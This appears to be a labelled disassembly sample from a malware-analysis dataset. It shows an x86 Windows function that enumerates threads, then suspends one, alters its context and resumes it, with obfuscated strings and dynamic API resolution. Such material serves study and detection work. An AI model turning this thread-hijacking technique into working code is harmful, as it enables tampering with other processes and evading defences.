Function at 0x401b10
Capabilities:
Enumerate threads
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40fc30
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x330
mov eax, dword [0x41700c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push ecx
mov dword [ebp - 0x338], esi
call fcn.00401a40
add esp, 4
test al, al
jne 0x401b73
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
call fcn.004019b0
push 7
xor eax, eax
mov dword [ebp - 0x18], 7
push str.AgAHABE
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
mov word [ebp - 0x2c], ax
call fcn.00402ac0
push 6
push str.dSxddH
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
call fcn.00402bc0
push 3
push 0x414e8c
lea ecx, [ebp - 0x2c]
call fcn.00402bc0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00402680
mov ecx, eax
call fcn.00401370
lea edx, [ebp - 0x338]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x44]
call fcn.004016b0
mov edi, dword [ebp - 0x338]
test edi, edi
je 0x401d1d
push 0x414e38
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
test eax, eax
jne 0x401c17
call dword [sym.imp.KERNEL32.dll_GetProcessId]
jmp 0x401c19
call eax
xorps xmm0, xmm0
mov dword [ebp - 0x33c], eax
push 0
push 4
mov dword [ebp - 0x334], 0
movups xmmword [ebp - 0x330], xmm0
movq qword [ebp - 0x320], xmm0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x401d1d
lea eax, [ebp - 0x334]
mov dword [ebp - 0x334], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x401ca7
nop dword [eax]
mov eax, dword [ebp - 0x33c]
cmp dword [ebp - 0x328], eax
je 0x401c92
lea eax, [ebp - 0x334]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x401c70
jmp 0x401ca7
push dword [ebp - 0x32c]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
test esi, esi
je 0x401d1d
push 0x2cc
lea eax, [ebp - 0x318]
push 0
push eax
call fcn.00406780
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x318]
mov dword [ebp - 0x318], 0x10001
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x318]
mov dword [ebp - 0x318], 0x10001
push eax
push esi
mov dword [ebp - 0x260], 0
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x338]
call edi
push esi
call edi
mov eax, dword [ebp - 0x30]
cmp eax, 8
jb 0x401d2f
inc eax
push eax
push dword [ebp - 0x44]
call fcn.00403160
xor eax, eax
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], 0
cmp eax, 8
jb 0x401d55
inc eax
push eax
push dword [ebp - 0x2c]
call fcn.00403160
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004040e6
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret